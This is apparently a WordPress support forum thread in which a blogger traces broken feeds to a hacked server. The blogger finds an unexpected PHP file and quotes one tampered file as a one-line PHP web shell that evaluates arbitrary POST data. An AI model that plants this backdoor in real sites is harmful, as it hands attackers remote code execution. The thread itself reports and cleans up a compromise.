On just one blog, feeds get 'XML Parsing Error' – have changed nothing

(I really did pick a bad user name didn’t I?) ??

How did you add the tweet button? Via a plugin or editing the theme or …?

I edited the theme, but I did it on all 5 of them. And I checked, they are all the same. And all the color coding in my html editor looks ok.

But now, some of the other blog’s feeds aren’t working and that first blog that had problems seems to be down completely.

I must have done something that just took a while to have an effect, I don’t think its the tweet button though. And I have no idea where to start looking. Unless someone is hacking into the site or something.

I found a php file called mblycg in the top level directory where the blogs are. I don’t think that was supposed to be there.

And I’m going though and finding other files that looked like they’ve been hacked into, for example wp_info.php now only says '<?eval(stripslashes(array_pop($_POST)))?>'

So I guess the server has been hacked?

I apologize if my frequent updates here are annoying. I’m functioning with very little sleep and after a full day of taking care of a 3.5 yr old.

I deleted a couple of files I found on the server and edited on which had ’29d35′ written at the top before the <?php – now at least the one blog is back up, but the same feeds are still not working.

Have to do stuff with 3 yr old tomorrow, won’t have access to laptop to fix anything until later in the day. Probably won’t be able to stay awake much later tonight. But I’ll try to see what else is going on and maybe be able to fix a little more.

Ok, everything is looking good for the time being. I think.

The page (https://blogs.ideasforwomen.com/blogs/) is displaying the feeds as it should. For whatever reason though if I navigate directly to the urls the feeds from the one blog are on, I still see the XML Parsing Error message. I get a time out error using my iPhone/Safari though. Could it be some sort of cache thing?

Anyway, I’m in desperate need of sleep now. Maybe it will all be better in the morning or least I will be able to think better.

Thanks for listening!

It’s possible that you were hacked. You can scan your site on https://sitecheck.sucuri.net/scanner/

Hi,

I had the same hacked file contant. What hosting provider are you using? I’m DreamHost.

Best wishes,
Chris